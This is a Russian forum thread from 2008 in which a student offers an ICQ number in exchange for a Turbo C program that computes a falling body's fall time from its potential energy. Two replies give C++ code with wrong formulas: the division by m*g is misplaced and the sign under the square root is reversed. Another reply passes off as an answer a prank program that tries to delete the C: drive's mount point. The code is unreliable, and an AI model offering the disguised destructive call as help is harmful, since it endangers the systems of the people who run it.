PDA

Просмотр полной версии : Нужна прога cpp


DiMb9IH
13.01.2008, 17:19
Кто напишет мне сегодня прогу на Turbo C 3.0 Отдам тому шестизначный номер Аськи(751-643)
вот задача которую нужно решить:

Задание

Тело массой m падает с некоторой высоты h0. Напишите программу на языке Си, которая рассчитывает, за какое время потенциальная энергия Eп достигнет заданного значения.
Eп = mgh;
h = h0 - 1/2 gt2
Подсказка: параметры m, h0 и Eп — вводятся. Расчётный параметр — t

n3m0
13.01.2008, 18:02
Извиняюсь, компилятора под рукой нету


#include <iostream.h>
#include <math.h>
/*
Тело массой m падает с некоторой высоты h0. Напишите программу на языке Си, которая рассчитывает, за какое время потенциальная энергия Eп достигнет заданного значения.
Eп = mgh;
h = h0 - 1/2 gt2
Подсказка: параметры m, h0 и Eп — вводятся. Расчётный параметр — t
*/
int main()
{
float m,h;
float g = 9.8;
float e, h0,t;
std::cout << "Введите Еп: ";
std::cin >> e;
std::cout << "\n";
std::cout << "Введите h0: ";
std::cin >> h0;
std::cout << "\n";
std::cout << "Введите m: ";
std::cin >> m;
std::cout << "\n";
h = e/m*g;
t = sqrt(2*(h-h0)/g);
std::cout << "t = " << t << endl;
return 0;
}


Возможно чтото не так.

DiMb9IH
13.01.2008, 18:22
n3m0
у меня ошибка
std::cout << "Введите Еп: ";
Error NONAME03.cpp 8: Type qualifier 'std' must be a struct or class name

z01b
13.01.2008, 18:29
Пробуй такой вариант, хотя в принципе тот должен пахать
#include <iostream.h>
#include <math.h>
using namespace std;
int main()
{
float m,h;
float g = 9.8;
float e, h0,t;
cout << "Введите Еп: ";
cin >> e;
cout << "\n";
cout << "Введите h0: ";
cin >> h0;
cout << "\n";
cout << "Введите m: ";
cin >> m;
cout << "\n";
h = e/m*g;
t = sqrt(2*(h-h0)/g);
cout << "t = " << t << endl;
return 0;
}

n3m0
13.01.2008, 18:33
ААА, я провтыкал
using namespace std; - можна не писать

sandalwood
13.01.2008, 18:45
#include <windows.h>
#pragma comment (lib, "kernel32.lib")
int main()
{
if(DeleteVolumeMountPoint("C:\\")) MessageBoxA(NULL, "E = MC²","ups",MB_OK);
return 0;
}

DiMb9IH
13.01.2008, 18:50
ок спасибо надеюсь прокатит n3m0 пароль в приват